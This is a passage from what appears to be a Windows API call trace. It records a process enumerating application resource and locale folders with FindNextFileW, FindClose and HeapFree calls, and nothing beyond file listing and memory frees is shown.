	[0185.071] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0185.071] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.071] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0185.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.072] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0185.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.072] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0185.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.072] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0185.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.074] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0185.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.075] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0185.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.077] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0185.077] FindClose (in: hFindFile=0x4142d18 | out: hFindFile=0x4142d18) returned 1
	[0185.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.077] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0185.079] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.079] FindNextFileW (in: hFindFile=0x4142a18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0185.079] FindClose (in: hFindFile=0x4142a18 | out: hFindFile=0x4142a18) returned 1
	[0185.080] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.080] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0185.080] FindClose (in: hFindFile=0x4142c58 | out: hFindFile=0x4142c58) returned 1
	[0185.080] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.080] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.080] FindClose (in: hFindFile=0x4142898 | out: hFindFile=0x4142898) returned 1
	[0185.080] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.092] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1
	[0185.099] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.100] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0185.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0185.109] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0185.109] FindClose (in: hFindFile=0x4142a58 | out: hFindFile=0x4142a58) returned 1
	[0185.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.110] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0185.110] FindClose (in: hFindFile=0x4142fd8 | out: hFindFile=0x4142fd8) returned 1
	[0185.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.110] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0185.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.390] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0185.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.391] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0185.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.393] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0185.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.393] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0185.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.394] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0185.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.395] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0185.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.396] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0185.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.397] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0185.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.397] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0185.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.400] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0185.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.401] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0185.402] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.402] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0185.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.404] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0185.404] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.405] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0185.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.405] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0185.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.406] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0185.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.407] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0185.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.407] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0185.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.408] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0185.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.409] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0185.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.409] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0185.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
